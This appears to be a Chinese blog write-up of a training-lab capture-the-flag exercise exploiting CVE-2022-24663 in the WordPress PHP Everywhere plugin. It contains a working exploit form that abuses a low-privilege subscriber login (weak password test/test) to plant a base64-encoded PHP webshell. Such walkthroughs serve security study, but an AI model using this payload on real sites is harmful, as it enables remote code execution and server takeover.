春秋云境:CVE-2022-24663

春秋云境:CVE-2022-24663

文章合集春秋云境系列靶场记录(合集)

关注WX:【小白SEC】查看更多内容……


wordpress插件PHP Everywhere RCE:CVE-2022-24663

在这里插入图片描述

漏洞介绍

远程代码执行漏洞,任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求,并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令


解题步骤

题外话

这个目标对于我是真的难搞,看不懂,很佩服网上直接搞出来并写了wp的大哥“玻璃人小高”,文章放这了:https://blog.csdn.net/weixin_45275983/article/details/128018131,这个我只能按照这个大哥写的做了,进入正题

  1. 访问目标站点,按照上面大哥的文章,通过弱口令test/test进入,我是真没想到这个弱口令
    在这里插入图片描述

  2. 进入之后,现在是订阅者权限,就是低权限,我们选择修改代码,在任意页面插入以下代码,记得要修改域名为自己现在做的靶场域名:

<form action="http://eci-2z9se9cvra1hc6r9iirp.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
      <input name="action" value="parse-media-shortcode" />
      <textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/fuck.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWzFdKTsgPz4=")); ?>[/php_everywhere]</textarea>
      <input type="submit" value="Execute" />
</form>
  1. 怎么插这个代码呢?之前真不会,现在也算是学习到了,先开启浏览器的开发者工具,按图中顺序,定位到代码位置
    在这里插入图片描述

  2. 鼠标右键选择【Edit as HTML】
    在这里插入图片描述

  3. 出现这个框之后,直接把这个框里面的内容全部替换成上面的代码,然后直接点击【Execute】:
    在这里插入图片描述
    在这里插入图片描述

  4. 提交之后会出现一段代码,其中有个关键字【success】,表示提交成功:
    在这里插入图片描述

  5. 访问刚才上传的shell,成功获得flag
    在这里插入图片描述

文章合集春秋云境系列靶场记录(合集)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值